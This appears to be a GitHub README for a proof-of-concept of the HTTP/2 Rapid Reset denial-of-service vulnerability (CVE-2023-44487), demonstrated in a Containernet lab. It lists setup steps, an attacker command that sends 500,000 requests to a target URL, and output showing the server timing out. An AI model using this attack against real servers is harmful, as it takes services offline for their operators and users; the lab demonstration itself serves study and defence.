regelepuma/http-2-rapid-reset-ddosPoC for HTTP/2 Rapid Reset DDoS Vulnerability - CVE-2023-44487
This project demonstrates the HTTP/2 Rapid Reset Denial of Service (DoS) attack using a custom network topology created with Containernet. The attack exploits vulnerabilities in the HTTP/2 protocol to overwhelm a target server, rendering it unresponsive.
To install the necessary packages, run the following commands:
./install.sh
To change the default installation directory, you can modify the INSTALL_DIR variable like so:
INSTALL_DIR=/custom/path ./install.sh
To start the infrastructure, run the following commands:
source ~/.containernet/containernet/venv/bin/activate
sudo -E env PATH=$PATH ./topo.py
To start the attack, execute the following command in the attacker container:
./attacker -url='https://modern.art:443/api' -requests=500000
After a few moments, when you try to access the website using curl, it becomes unresponsive.
root@attacker:/attacker# curl -k https://modern.art/
curl: (28) SSL connection timeout
To stop the infrastructure, simply enter exit in the terminal where topo.py is running.